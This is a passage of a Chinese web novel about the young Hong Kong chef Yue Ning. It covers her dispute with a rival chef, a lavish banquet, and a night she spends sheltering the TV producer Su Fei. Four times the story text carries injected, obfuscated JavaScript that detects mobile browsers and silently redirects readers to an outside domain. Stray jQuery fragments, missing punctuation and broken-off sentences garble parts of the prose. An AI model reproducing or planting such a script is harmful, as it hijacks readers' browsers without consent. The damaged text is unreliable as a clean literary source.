心思狭隘的人，自有他解读的一套逻辑，岳宁的这些话，陆进勇并不觉得她是好意，反而怒火攻心，公开驳斥：“不用这样虚伪，不要这样冠冕堂皇，如果这么好心，就不会做这样的事了。” 岳宁不禁摇头，这位陆大厨想要吃流量的红利，却不知道流量是双刃剑。这个时候出来说这样的的话，实在不是明智之举。 这些天，岳宁在港已经有很多粉丝了，那些粉丝群起而攻之。 喜欢乔君贤的师奶们，看见岳宁送别的男孩子背包，都快气**，认为她不仅背叛了乔君贤，还背叛了她们。结果当晚两人又去看电影了，这下反转，难道他们约会了？一时间她们五味杂陈，平时一直希望岳宁这个小妹妹能追到乔君贤，要是两人真这么快在一起，她们有好像 又不舒服了。 岳宁出来解释，不是的，这不是约会。只是支持一下蔡致远，支持一下刘家耀和吕明明，然后她生无可恋地叨叨，她看到刘家耀宽衣解带，被乔君贤捂住了眼睛，听了好几分钟不可描述的声音，听得到，看不到，实在让人火大。她说：“以后绝不跟乔君贤一起看电影了，他老把我当小朋友。你们说他这样，怎么找女朋友？” 师奶们都快笑**，她们的乖乖崽简直太可爱了，当然妹妹也好可爱。一个个都说：“他没人要就没人要了，小朋友快快长大，把他追了吧！” 乔君贤和岳宁放一起，她们偏疼乔君贤，岳宁被其他人攻击，师奶们爱屋及乌，她们愤怒了。这个陆进勇自己没本事，还怪妹妹拆穿他？妹妹已经帮他说话了，他还说妹妹虚伪？什么东西？师奶们只有一个要求：“食屎去吧！” 甚至有匿名人士买下报纸的整个版面，来分析陆进勇和岳宁的这次事件的原委。 从岳宁和丁胜强比试拆鱼羹，这位陆大厨就说宝华楼做菜口味好，但是不注意造型，岳宁客气地说要向他请教，他又说让他的徒弟来带岳宁。 后来岳宁一直处于风口浪尖，他每次上节目都会带两句岳宁，甚至怪她不主动联系，还说岳宁真要向他学，他也可以带，但是要岳宁跟在他身边两年。 岳宁当日去吃饭，有食客在场，岳宁和崔家二小姐吃完就打算离开，是御龙轩的人非要留住她们，让岳宁点评菜品，岳宁即便是点评也非常收敛，而且还是找了爷爷年纪大，她学的是中式摆盘这种借口推脱，岳宁也算给了他面子。 这个陆进勇恬不知耻，在电台里曲解岳宁的意思，说周六要去指点岳宁，大家分析下来，那是岳宁担心，陆进勇即便是看到她的实力，也依旧谎话连篇，岳宁才会在门口练习，让人看到她的实力。 最后这位灵魂发问：“陆大厨，难道一定要一个厨艺比你高的厨师，拜倒在你的裤管下，叫你一声‘师傅’，你才满意？” 这下陆大厨终于不说话了。 这么一来，又引起了大家对星期六晚宴的好奇。没得吃，难道不能让大家看看吗？岳宁的三个盘饰那么漂亮，要是真配上菜了，会是什么个样子？ 蔡致远一看，这得有多高的收视率？他可不能放过。 立刻跟岳宁说，要拍这顿晚宴的制作过程。 岳宁听鸿安大酒店的总 经理透露崔家昌卖得很急协议已经签了。岳宁也需要一次全面展现自己实力的机会向全港表明自己的实力足够经营一家高端酒楼。 有一句话陆大厨说得对宝华楼到底是做性价比的酒楼。菜单上也有鲍鱼他们在食材的选择上 岳宝华开酒楼诸如花胶、鲍鱼、陈皮之类的需要陈化的食材他会囤新吃陈每年买吃前几年囤的货。孔雀鲍个头大肉质肥厚陈化后出溏心稳定是非常不错的选择。 鲍鱼经过五天泡发加陈皮水煲之后在涨发两天接下去将近两天炒了糖色老鸡、筒骨猪肘、鸡爪等食材炸过之后加入火腿姜片和鲍鱼一起熬煮。 周六一大早卖鱼陈送来了五十斤蚝仔岳宁自己熬蚝油。 市场上的蚝油蚝油含量最高的一款口味不够好其他的蚝汁含量都不超过40%。岳宝华也喜欢自己熬蚝油。 今天岳宁自己熬是为了向观众展示他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许乐梅走上来：“今天我是不是可以到你这里学到一道又高级又好吃的家常菜呢？” “您看上哪个我贡献哪个的方子？” 陆进勇到底是没来。 岳宁伸手请他们上楼。 大厅里今天预约的客人已经到了客人们大多穿着随意男客人汗衫、短裤加上拖鞋女**多也是如此正式一点就是一条连衣裙了。 大家目送这群穿得像去参加颁奖礼的人上楼。除了蔡致远其他几人被这些目光都看得都些不好意思了。 岳宁推开包房门桌上摆放了六个凉菜。 几个人目光被凉菜吸引。 蔡致远咳嗽一声：“现在知道我为什么让大家穿得比较正式了吧？” 第65章 周六宴席 黄瓜的深绿、莴笋的浅绿、马蹄笋的嫩黄竖里在盘上，拼出了有层次的春山景色。盘里码着嫩黄的鸡，淋了一圈碧绿的油。 粉嫩嘟嘟，晶莹剔透的外皮做成荷花瓣，以凉拌雪蟹肉为芯。 “这是什么？”许乐梅没看出来。 上次岳宁画的是雀登枝里有柿子，今天她直接在中用了枝条，两边放了六个做成柿子形状的球，盘边写着“柿柿如意”。 “木瓜燕窝球。”岳宁答。 卤狮头鹅肝配的是她画过的故宫初雪。 这四道凉菜刚好组成了春夏秋冬四季。 中间两道，一道是杨裕合认识，那是岳宝华的拿手菜岭南桂花扎。 这道老菜，能吃到的地方越来越少了，主要还是工艺麻烦。片成薄如纸的瘦肉和肥肉，一层瘦肉夹一层肥肉，再包裹咸蛋黄，外面还要用鹅肠捆绑，刷上秘制叉烧酱烤制。 吃起来外脆里香，滋味层层递进，有老饕为了吃这一口，专门从澳城赶过来。就为了李欣荣和岳宝华师徒之间，那一点些微的差异。 桂花扎似太阳，这个摆成月亮形状的丝丝缕缕凉拌菜是什么？ 蔡致远笑：“萝卜又要开会了？” 其他人不知道，蔡致远聊起这个故事：“上次她连萝卜开会都没给我吃够。” “这次给你吃够。”岳宁笑，“慢用！” 祖孙俩离开，蔡致远略微捏了捏脖子里的领结说：“我们去看个鬼佬不知道画什么的画展，都要穿礼服，这桌菜够不够我们，这样正式对待？” 这一点其他人无法反驳。 “吃饭，吃饭！” 侍应生给他们上了饮料，倒了酒。 大家开始动筷，许乐梅夹了一块鸡：“这绿色的，是葱油啊！” 杨裕合一开始就看上了这个粉嫩的鹅肝，他吃了一口，说：“你们试试这个狮头鹅鹅肝，这个鹅肝好，做得也好。我早就说了，咱们潮汕卤鹅肝绝对不比法国鹅肝差。” 蔡致远把鹅肝转到苏小姐面前：“苏菲，你爱吃法式鹅肝，这个肯定也会喜欢。” “谢谢！”苏小姐夹了一片，这片肝夹起来就颤颤巍巍。 其实她平时除了像法式鹅肝这种世界名菜之外，很少碰内脏。蔡致远这个老板在，她不好拒绝，反正一样是鹅肝，就吃一片了，只希望他等下不要自作聪明，认为她喜欢吃什么了。 苏菲低头吃这块鹅肝，这个鹅肝粉嫩 ，软糯香滑，也没有她记忆中内脏的腥味，口感异常好。 “苏小姐，好吃吗？”杨裕合问。 “好吃。跟法国鹅肝是两个味道。法式鹅肝的嫩是油脂充沛的香气。这个鹅肝是鹅肝本身的粉嫩。”苏菲忍不住再夹一块。 “咱们的狮头鹅是品种最大的鹅，鹅肝大，而粉嫩，法国鹅肝呢？是进行填充喂养育肥的鹅肝。法国鹅肝，我多吃两块会腻，这个潮汕卤鹅肝，就不会啦！”杨裕合作为老饕，忍不住卖弄。 “苏小姐尝尝这个木瓜燕窝球。”乐梅给苏菲推荐，“这个菜好看，又不难，我要问问岳宁了。” 侍应生敲门后，推开了门，后面跟着的一个侍应生推了小推车进来，侍应生给每个人上了一个带盖的小汤碗，小推车上，玻璃小茶壶放在酒精灯上煮着，可以看到里面清澈透明的汤汁微微冒泡。 侍应生揭开苏小姐面前的汤碗盖，里面一白一橙两朵花和一颗刚刚敲开……鹌鹑蛋？ 他将滚烫清汤浇进汤碗里，虽然是清汤却香味很浓。 等侍应生来给杨裕合浇清汤入碗的时候，杨裕合问：“这是？” “花开并蒂。” “这汤是开水白菜的汤，不像……里面还有松茸的味道？”杨裕合品尝着。 杨裕合做为老饕，他从川菜的开水白菜，说到被誉为闽菜之后的鸡汤汆海蚌，看似清汤寡水的菜最最难做。 蔡致远边听边吃：“这汤喝着就舒服。不像御龙轩的鸽子汤，有股子杂味。” “各种材料混合后的浓汤，要的就是食材交融的味道。将开未开的清汤，要的是食材本来的味道。这是浓汤再澄清，既要丰富融合的味道，还要这极致清透的色面。” “复杂，真复杂！” 门再次推开，这次倒是没那么多花哨，两只乳鸽，分成四片，一碟酸梅酱，一碟椒盐份。 侍应生说：“宁小厨玻璃脆皮乳鸽。” 蔡致远转给苏菲：“苏菲，宁宁的脆皮乳鸽，独一份的，热吃真的绝了。” 苏菲不是重口腹之欲的人，甚至她平时一顿饭就拳头大一个面包解决。今天吃了一口又一口，还真不想停下来。 这个乳鸽之后，侍应生端了一道菜的进来，惟妙惟肖的龙头，一节弯曲的龙身，一个翘起的龙尾，加上白色如云朵的，应该有蛋清和虾肉，像极了龙隐在云中的景象。 “金龙布雨。这个龙头、龙身 和龙尾都是叉烧酥可以吃的哦！”侍应生说。 “那这些云呢？” “澳龙滑蛋清。”侍应生解释。 这下杨裕合琢磨出味道来了他总觉得岳宁这个姑娘特别大气说话也宽厚温和是那个陆进勇太过于斤斤计较。 那个汤不就是对着御龙轩那道鸽子汤她这个金龙布雨更是对着那个御龙轩的虾球。 鲍鱼扣鹅掌上来杨裕合就越发确认了。你说人家计较吧？她的菜跟对方不一样但是如果放在一起吧？绝对能够比较。 南非鲍不如日本吉品鲍宝华楼胜在口味鲍鱼本就是味道淡的食材干鲍本身的品质很重要泡发炖煮同等重要。 杨裕合吃了一块鲍鱼说：“华叔的这个鲍鱼是他几年前囤的南非鲍经过几年陈化鲍鱼的甘香也出来了主要是他会调理。” “他的特色就是鲜、甘、还有大海的味道。”许乐梅也说“我也喜欢来他这里吃一口鲍鱼捞饭十八块钱一份的鲍鱼捞饭一只十二头鲍加上一份饭超级满足。” 下一道是岳宝华做的豆酱泥猛鱼最最普通的鱼最最家常的做法吃了一堆山珍海味后 “来一份饭就好了。”杨裕合吃得很饱还是觉得需要一口饭。 敲门声响起岳宁亲自端了一盘炒饭进来：“扬州炒饭。” “这就是你吊君贤胃口吊了很久的扬州炒饭？”蔡致远说。 岳宁笑：“龙虾头和虾须虾脚我打算做龙虾泡饭。你想不想吃啊？” 蔡致远眼睛一亮：“好啊！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915422|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “扬州炒饭和龙虾泡饭二选一。你选哪个？”岳宁问他。 “非得二选一吗？不能一起吗？”蔡致远问。 “这个炒饭好吃。”杨裕合再吃一口“我从来没吃过这么好吃的炒饭。” 许乐梅吃了一口也说：“这个炒饭的方子给我我教师奶们做。” 蔡致远立刻吃起了扬州炒饭本来已经吃饱的苏小姐也忍不住吃了小半碗。 岳宁等他们一盘扬州炒饭分完笑着问：“我再给你来一碗泡饭？” 蔡致远摆手：“不了不了下次吧！” “所以喽？”岳宁笑了一声。 岳宁送走了几位贵客特别感谢了苏小姐苏小姐说：“打工吗？老板的要求我竭 尽所能要达成。” 岳宁不好说什么？有些老板越努力他越压榨越不知道珍惜得力干将比如说蔡致远。 “宁宁要不我明天早上过来龙虾泡饭做早餐？” “滚！” * 都知道他们吃好了大家都焦急地等着这个片子出来尤其是HTV有其主必有其电视台跟蔡致远一样鸡贼别的不放就放蔡致远说岳宁拿一道“扬州炒饭”吊乔君贤胃口的片段。 这下好了乔君贤的妈妈粉大多是乐梅姐的观众纷纷要求乐梅姐教大家做这个炒饭。 乐梅姐说了等片子播出之后你们再考虑考虑要不要做？ 电视台紧赶慢赶在一周后播出了这部实拍的片子。 从宝华楼一大清早收食材开始岳宝华亲自检查食材岳宁炼制蚝油绿葱油 再看她和面开酥加蛋黄调出金龙颜色捏出龙头还顺道捏了一只可爱的小醒狮和一只可爱兔子。 一团鸡蓉被投入浓白的汤里汤渐渐清了起来再一团鸡蓉放进去就是这样浓汤变清汤。松茸和羊肚菌的香气容易散最后添进去。 酸梅酱是岳宝华亲手腌制咸酸梅岳宁捣烂调味。 元贝和虾仁敲成泥蒸成薄饼做成花瓣看着就复杂这些菜除了费功夫还真要有本事。 “从我们祖先驯化水稻中国人一直在美食上不断地追求演化出了各大流派各种绝招最终又像武功盖世的大侠一样无招胜有招。我现在还在学习融汇中只能算是入门。” 片子里岳宁边做边说。 她这叫刚入门那别人是不是连门都没入？ 这群赴宴的人太好笑了去宝华楼还穿这样的衣服？ 看到桌上的菜这就是画作啊！ 到后面师奶们终于明白了为什么乐梅姐说不教她们做炒饭了？ 片子里岳宁特地让摄像看她怎么做炒饭了这个？能学会的肯定不是一般人一般人基本学不会。 这部片子带给很多老饕共鸣这几道菜摆盘固然很美但是更加让老饕心动的是这些菜让他们回忆起那些年那些认真做菜的厨子有的菜就是贵有贵的道理不像某些地方贵得离奇口感却不过如此。 想到这里大家要为这对祖孙惋惜了好厨子在旺角这块地方宝华楼一开始定位就定**。 算了吧！算了吧！宝华楼到现在还缺厨子呢？先恢复以前的上座率再说吧！ 就在这时祖孙俩终于收到了粤城二商局的反馈就算走加急程序宝华楼和福运楼的合作事项也才刚刚批下来。 第66章 苏小姐 宋局长邀请他们去举行一个双方合作的签约仪式。 宝华楼现在天天排满，祖孙俩至少一个得在。岳宝华是宝华楼的老板，他回粤城会更合适。 岳宁做完晚市，清洁工正在打扫，她走到外面，这条街道这一段，已经归于平静，只有霓虹灯在闪烁，隔开一个路口，霓虹灯下，穿着超短裙的女人正勾着男人往楼里走。那里昨天刚刚发生一起**案，一个做那个营生的女子，晚上出台回来被人**杀害。 这种事，在花姐他们嘴里好像稀松平常。 清洁工完成保洁，走出来跟她道别。 岳宁准备关门上楼去，却见一个提着手提包的身影，从霓虹灯洒下的亮光中走来，是电视台的苏小姐。 岳宁往外走了两步：“苏小姐。” “已经过了营业时间吗？”苏小姐好像突然回神。 岳宁高兴地走过去：“苏小姐是想来吃点东西吗？” “打烊了，就算了。” “没事啦！我刚好也想吃一口。你不嫌弃的话，我随便煮，我们一起吃啊？”岳宁走到她面前说。 接近了岳宁才看清，苏小姐的眼圈有点红，苏小姐点头：“麻烦了。” “走吧！” 岳宁请了苏小姐进门，她把门关了。 “苏小姐，有什么想吃的吗？”岳宁问。 苏菲露出笑容：“就想吃一口热热的汤。我平时吃得很简单，对这方面没什么概念。” “姐姐，想不想尝尝我们西北的浆水面？酸酸的，如果能吃辣，还有我的秘制红油？”岳宁问，在西北住了那么久，西北早就是她的家了。 苏菲笑：“我听你的。” “姐姐喝饮料，还是喝口茶，打烊了，冻柠茶的茶底都清理干净了。”岳宁说。 “热茶。” 岳宁给苏菲倒了一杯热茶：“要不你跟我进厨房，一个人做饭怪无聊的。” “好啊！”苏菲接过茶杯跟着岳宁进厨房。 岳宁本就准备明天早上做浆水面和洋芋鸡蛋饼，料都配好了。 她把浆水给苏菲看：“我们西北人夏天最喜欢这一口浆水面，酸辣开胃。” 苏菲说：“跟泰式冬阴功一样吗？那我能吃。” “不太一样，不过你能吃冬阴功应该也会喜欢吃这个。” 浆水面不是每个人都吃得惯，她索性把洋芋鸡蛋饼也一起做了，两个女孩子吃宵夜应该够了。 苏菲看着 岳宁做菜，小姑娘明明很麻利，一个人要顾着两个锅，但是她做菜就给人一种不紧不慢的从容。 酸香扑鼻，勾得她口水泛滥。 岳宁盛起两块饼，再捞起两碗面条，她端着面条和洋芋饼说：“姐姐，我们出去吧！ 两人一起出去，苏菲说：“我去洗手。 她回来坐下，岳宁把筷子递给她，桌上又多了一小碟辣油，岳宁说：“姐姐，你先尝一口，要是吃不惯，就吃洋芋饼。 苏菲看着清澈的面条汤里团着面条，面条上飘着黄绿的咸菜和碧绿的韭菜。苏菲低头尝了一口，好像跟想象中有些区别，但是好有味道：“好味。 她舀了一小勺辣油进面里，再吃一口：“这个辣油好香。 “是吧！是吧！岳宁高兴，“不过这个辣椒不是我们西北的辣椒，我们西北的秦椒做出来的油泼辣子香味更加浓郁。这个洋芋鸡蛋饼，也尝尝。 苏菲拿起一块洋芋鸡蛋饼，吃了一口：“好吃。 她也不知道自己为什么这么莫名其妙，在工作到九点多，被应该正在搂着女人喝酒的蔡致远的一通电话，弄得心情大乱，不想再做事了，走出大厦一时间茫然无所去。 招了辆的士，她居然想起那天的那顿饭，来了宝华楼。 这一口浆水面，一口土豆饼进嘴里，她就是想在这个冰冷的城市里吃到一口暖暖的东西。真好！ 岳宁知道她遇到事了，在高速发展的社会，机会很多，但是压力也很大，节奏很快。无论是老板还是牛马，有时候崩溃就在一瞬间。会自我安慰的人，喝一杯茶，写几个字，画一朵花，甚至吃一碗饭，也就跨过去了。 两人吃完，苏菲站起来：“岳小姐，谢谢！ “说什么呢？以后想吃的话，给我打个电话。只要我没睡，我给你做啊！岳宁笑着说。 苏菲被她阳光的表情给温暖了，她笑：“你对每个人都那么好吗？你有那么多精力吗？ “没有啊！但是姐姐帮了我很大的忙。解决了我的心头之忧。我真不想弄那么大，可那天情况，真的好危险。你不仅帮我解决问题，还能按时举行比试。我真的很感激。 不管蔡致远给她多少压力，苏菲都不愿意顶了蔡致远的功劳，她说：“我说过了，这是我的工作，这是老板派给我的任务，如果你感激就感激蔡先生。 “知道啊！他打电话来，我 也会给他做啊！”岳宁笑“用心做事应该被记得。就像那顿饭是蔡致远出面请的但是你记得我了再来找我吃饭了就是对我的嘉奖。” 苏菲的心微微一动她说：“谢谢你！我走了。” “我送你。” “不用。” “我送你出去。” 岳宁拿了钥匙关上了门执意要送苏菲往外走到了街口苏菲催岳宁回去岳宁问：“你的车呢？” 苏菲笑了一声：“我没有车我搭的士。” “那我搭的士送你回家。”岳宁说道。 “啊？”苏菲愣了一下。 岳宁说：“前面那里昨天一个女的深夜搭的士回来被**杀害了。我送你吧！我可是可以扛起大胖厨子的人。” “不不不这怎么好意思？现在也不早了。”苏菲没想这么麻烦岳宁。 苏菲帮岳宁办了那场比试当时岳宁在现场揭穿丁胜强苏菲觉得她小小年纪城府很深而岳宁后来把控了整场把整档节目做完又捡了垃圾苏菲越发觉得岳宁是特别厉害的人知道怎么博得公众的好感。她那一刻庆幸岳宁是这样一个事事周全的人没有半路扔下烂摊子给她。 自己自始至终没想过岳宁可能真是站在自己的角度是尊重她的工作。现在在这样的深夜仅仅只有她们两人岳宁给自己做了一口吃的岳宁送自己出来是担心她的安全甚至她坚持要送自己回家？ 苏菲眼圈热了她说：“夜太深了你回来的士不好打。你看我们出来这么久也没一辆的士。” “那要不姐姐你在我这里睡一晚吧？我知道比较冒昧但是……你知道……我这个人就是会多想。”岳宁说。 岳宁从第一次跟苏菲接触就很喜欢这个能力卓绝的女孩子。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915423|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样邀请很冒昧 苏菲看着小丫头带着忧虑的脸她也知道今天自己从电视台跑旺角来多少有点冲动深夜的港城并不安全。她问：“不会打扰吗？” “不会啊！我爷爷今天去内地了要后天下午才回来。刚好我也一个人。”岳宁笑着说。 苏菲知道人和人相处要讲究分寸但是一个可以说是陌生人的小女孩给她释放这么大的善意在这样的深夜她无法拒绝。她说：“嗯。” 岳宁和她一起回来带了苏菲上楼推 开房门岳宁看见苏菲眼里有点震惊。 她很无奈：“爷爷和花婶婶给我布置的啦！爷爷把我还当成小朋友就……不过也挺好弥补我小时候的缺憾。” “你爷爷很疼你。” “是啊！”岳宁打开衣柜拿出一身粉色的睡衣“姐姐也当一回小朋友？” 苏菲接过粉色Kitty睡衣笑：“好啊！” 岳宁带着她去卫生间洗澡。 苏菲洗了个澡看着镜子里穿着卡通睡衣的自己好像回到了小时候那时候爸妈还没离婚…… 苏菲出来岳宁进卫生间她把吹风机递给苏菲：“姐你先吹头发。” 苏菲接过 她还有这一手？苏菲又笑了她有这一手不是很正常吗？ 岳宁洗了澡出来吹了头发说：“姐姐睡吧！” 平时都是爷爷一大早起来验货的他什么事都亲历亲为自己不想这样也得等团队搭建完成再说至少明天自己就得一大早起床。 苏菲觉得很新奇她跟一个不太熟悉的姑娘睡在一张床上这个姑娘沾了枕头就睡了？她的睡眠质量怎么会这么好？自己累极之后反而会睡不着有时候睡着了也会反复醒来。 苏菲想着想着闭上了眼睛也不知道是什么时候睡着的。 只是她真的很浅眠听见卫生间里的水流声她睁开了眼睛。 岳宁从卫生间里出来说：“姐早！我是要下去收菜。你不多睡会儿？” “不早了我回家换套衣服去上班。”苏菲起床。 “好呀！现在应该有的士了吧？”岳宁说。 苏菲笑着说：“早班巴士也有了。” “我先下去了。”岳宁说。 苏菲换了衣服下楼岳宁已经在收鱼了卖鱼陈跟岳宁说：“宁宁你爷爷是老姜你是小辣椒你们俩都懂行我肯定挑最好的给你啦！” “宁宁我走了。”苏菲提了包走出来。 岳宁摆手：“拜拜。” 苏菲走出这条街道好巧这会儿就有一辆的士路过她招手上车。 在车上她觉得昨晚真是一个很奇妙的夜晚她愤然从电视台大厦离开那是一个极其糟糕的开始却被一碗简单的酸辣面给冲了淡了不良情绪。岳宁担忧的脸让她觉得这个世界又没那么可恨不是所有人都不关心她至少还有那么一个小姑娘会坚持要送她回家会留她在家过夜。 车子过了隧道到了她所住的大楼前的马路苏菲付了钱往里走。 阿叔阿婶们出去买菜了这些住在一栋大楼里叫不上名字的邻居她见到也从不打招呼今天她露出笑容那位大婶说：“苏小姐早啊！” “早！”原来大婶认识她？ 苏菲往里走去她看见正对着大厦入口的停车场上停着一辆她再熟悉不过的车车门推开蔡致远从车里出来沉着一张脸看着她…… 第67章 当面挖墙角 苏菲走了过来，用诧异的口气说：“蔡先生怎么在这里？” 蔡致远压抑着怒气，甩上了车门，走到她面前：“昨晚去哪里了？” “去一个朋友那里，她做了碗面给我吃，我在她那儿过了一夜。”苏菲想起这么轻松的一觉，她不由地绽开了笑容。 蔡致远想起昨夜，打完电话，他回味过来，发觉自己口气太硬了，打她办公室电话，想跟她说两句，办公室电话打不通，想着她可能回家了，打她家的电话也没人接，他火急火燎地赶来，等了她一夜。 等来来什么？她浑身轻松，心情好得飞起，告诉他，她在朋友家过夜？ “在哪个朋友家过夜？”蔡致远明知道不该这么问，他还是问了。 苏菲知道自己只要说在岳宁那里过夜，他们之间的误会就能解除，可解除了呢？又有什么意义？ “蔡先生，我是亨通的雇员，不是亨通的奴隶，我在哪个朋友家过夜，没有向你解释的必要。”苏菲抬起手腕，看了一眼表，“昨晚您说的事，等下我进办公室后，跟您汇报，我们再商量应该怎么处理。我现在上去换衣服，两天穿同一套衣服进办公室，会引起不必要的猜测。” 苏菲正要转身，蔡致远一步往前，扣住她的胳膊，在她耳边问：“什么猜测？是猜测吗？” “蔡先生，你放手好吗？”苏菲深吸了一口气，“有什么事，办公室里谈不行吗？” “昨天你到底去哪里了？”蔡致远咬着牙问。 苏菲很平静地说：“讲得还不够清楚吗？我被老板骂了，很难受。我朋友给我煮了一碗面，我和她在一张床上，睡了一觉。睡得很好，坏心情都走了。” “你……”蔡致远有些话想要脱口而出，突然又胆怯了，不敢说。 苏菲从他的手里抽出手臂，想起昨夜穿着Kitty睡衣，就想笑，她转身，走进楼里。 蔡致远看着她远离，没忍住，大步跟了上去，跟着她进了电梯，苏菲抬头：“蔡先生，要去我那里喝杯咖啡？” “是啊！你不会不欢迎吧？”蔡致远想要装出云淡风轻，嘴角有点抽。 出了电梯，两人默默地走在走廊中，苏菲掏出钥匙，打开了房门，她从大学毕业打拼了这么多年，才按揭买了这间四百多尺的屋，她从橱柜里拿了一瓶苏打水放在茶几上：“喝水。” 她还没直起身，蔡致远在她身后抱住了她， 贴着她耳朵说：“苏菲，今天的事情，就让它过去吧？以后不要再发生了。 苏菲受不了他一身烟味，更受不了他贴着她的脖子啃咬，她挣扎着推开他，转身面对面看着他：“蔡先生，我认为我们是时候讨论一下，我们可以结束所有工作以外的关系。以后我们之间只有工作上，上司和下属的关系，没有其他。 “为了他，你要跟我分手？蔡致远有些不敢相信。 苏菲很无奈：“我们之间的关系，也谈不上分手吧？本来很简单的一件事，我们都是未婚，偶尔解决生理需要。 “解决生理需要？蔡致远愕然，“你就是这么看我们之间的关系？ “我不知道是什么让你觉得，有了这层关系后，在工作中，你面对我的时候，会公私不分，肆无忌惮。苏菲看着他，“你自问一下，你在面对你其他直属下属的时候，会像对我一样对他们吗？很明显，你对他们宽容很多。 “我哪有？只是你跟他们不一样，我可以对你实话实说……我把你当…… “当牛做马之后，还要上床？你知道那些的流言吗？说我日以继夜地给你干，还要被你骂。苏菲冷笑，“我贱啊！ “谁说的？ “他们说错了吗？都是实话。苏菲说，“你考虑一下，如果不同意，我就离开亨通。 苏菲走过去，拉开了门：“你最好也回去换身衣服，免得今天又有多个女星主动辟谣。 蔡致远的脑子越来越糊涂了，他从来不知道苏菲是这么看待他们的关系。当然，他知道现在苏菲给他开门，让他滚。 蔡致远开车回家，进屋按下来电留言，他妈给他留言让他今晚回家吃饭，好兄弟问他去不去打哥而夫，乔君慎来电：“明天上午十点在吧？我找你聊一下广告的事。 他打电话回大宅，答应回家吃晚饭，推了好兄弟打球，打电话到乔宅，跟乔君慎定了时间。 蔡致远进浴室洗澡，热水冲头上，带出来全是烟味，昨晚他生怕睡着了错过她，一支接一支地抽，等到了什么？ * 岳宁心烦，早上几个厨子来试菜，她看着也就算了。还有工作人员和侍应生的招聘，她也要管。一个小酒楼，这样操作当然没关系，但是很快她要高端和中端一起开，甚至按照她的计划，她还想开日式拉面连锁。这些她都自己来的话，根本没时间，上辈子她 有个得力干将，能帮她挡掉所有的这些杂务。让她还有时间开自己的餐厅。那是从宁烧腊陪着她一起走来的好姐妹，这辈子这样的人上哪儿找？ “宁宁，乔大少和蔡大少来了，他们吃咖喱牛腩煲，其他的随便你配。 咖喱牛腩看上去都是牛腩洋葱土豆搭配，泰式要放椰浆，日式则是甜咖喱。港式咖喱，核心实际上不是咖喱，而是红烧牛腩。 岳宁做的这个咖喱牛腩，用的是去骨的牛肋条，牛肋条肉是有筋有肉的贴骨肉，放在锅里煎过之后，加入柱侯酱，炒出来酱香味，再放八角香叶之类的香料进行炖煮，炖好的这么一大锅牛肉。开市之后，配上已经炸过土豆块，再加岳宁自己调配的带着沙茶味的咖喱酱，小锅炖煮，出锅前还要添上一勺淡奶。酱香、咖喱香加上淡奶的柔滑，让喜欢拌饭的乔叶应漪连着来了几次。 也在师奶们强烈要求下，乐梅姐亲自上门请教了方子。咖喱是岳宁自己调的，为了不给师奶们增加难度，岳宁尝了几种市场上的咖喱，定了一个比较接近的，师奶们又多了一款拿手菜。 各家茶餐厅也跟着她改，反正到处都是平替，还是以宝华楼的这一款最为火爆。 哥哥们来得也晚，岳宁给他们炒完了最后一道菜，客人不多了，她上楼去跟哥哥们打个招呼。 敲了门，推门进去，岳宁满脸笑容地要叫哥，却见她致远哥哥，一脸颓丧，而且还挺憔悴。 大白天的，他下午不去电视台吗？喝上酒了，喝得一张脸泛红，不过也没掩盖他有黑眼圈。 岳宁小心翼翼地问乔君慎：“君慎哥哥，致远哥哥怎么了？ “给你办比试的苏小姐提出辞职。乔君慎说，“他跟人谈了，人家还说要走。 “哦！岳宁想起昨晚苏菲姐姐刚来的样子，眼圈红红的。难道是被致远哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915424|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥这个狗老板给气的？姐姐在她这里睡了一晚，回去决定辞职了？ “苏小姐是个有本事的人。无非就是待遇和感受啦？岳宁想了下，“待遇好办，如果真那么重要，升职加薪，给到位就好了。 “她这个年纪和资历里，在港城也算得上高了。蔡致远手撑着脸说。 “那就……比如说老板特别难伺候，特别龟毛，自己还有本事的话，炒了老板也未尝不可。岳宁尊重个人选择，尤其是看见蔡致远那么强压苏菲姐姐，还看见昨晚姐姐这样的一 个女强人都眼圈红了。 